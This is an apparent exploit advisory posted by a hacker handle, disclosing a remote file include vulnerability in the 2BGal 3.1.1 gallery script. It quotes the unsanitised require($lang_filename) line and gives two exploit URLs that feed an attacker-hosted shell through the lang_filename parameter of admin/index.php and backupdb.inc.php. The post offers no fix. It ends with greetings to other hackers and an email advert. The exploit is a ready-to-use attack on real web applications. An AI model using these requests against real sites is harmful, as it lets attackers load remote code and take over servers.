2BGal 3.1.1 <= (admin/index.php) Remote File Include Vulnerability

[BorN To K!LL BorN To K!LL]

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ =+=+=

2BGal 3.1.1 <= (admin/index.php) Remote File Include Vulnerability

Script: 2BGal

Version: 3.1.1

Download: http://www.ben3w.com/multimedia/2bgal.zip

Discover: BorN To K!LL

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ =+=+=

Bug in:

admin/index.php & backupdb.inc.php ...... and so on >>

Code:

require($lang_filename);

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ =+=+=

ExploiT:
~~~~~

wWw.site.cOm/[path]/admin/index.php?lang_filename=[ BorN-SHell ]
wWw.site.cOm/[path]/admin/backupdb.inc.php?lang_filename=[ BorN-SHell ]

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ =+=+=

GreeTz 2:

str0ke - Dr.2 - AsbMay ....

AsbMay's Group & Kuwait Security

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ =+=+=

__________________________________________________ _______________
Express yourself instantly with MSN Messenger! Download today it's FREE!
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/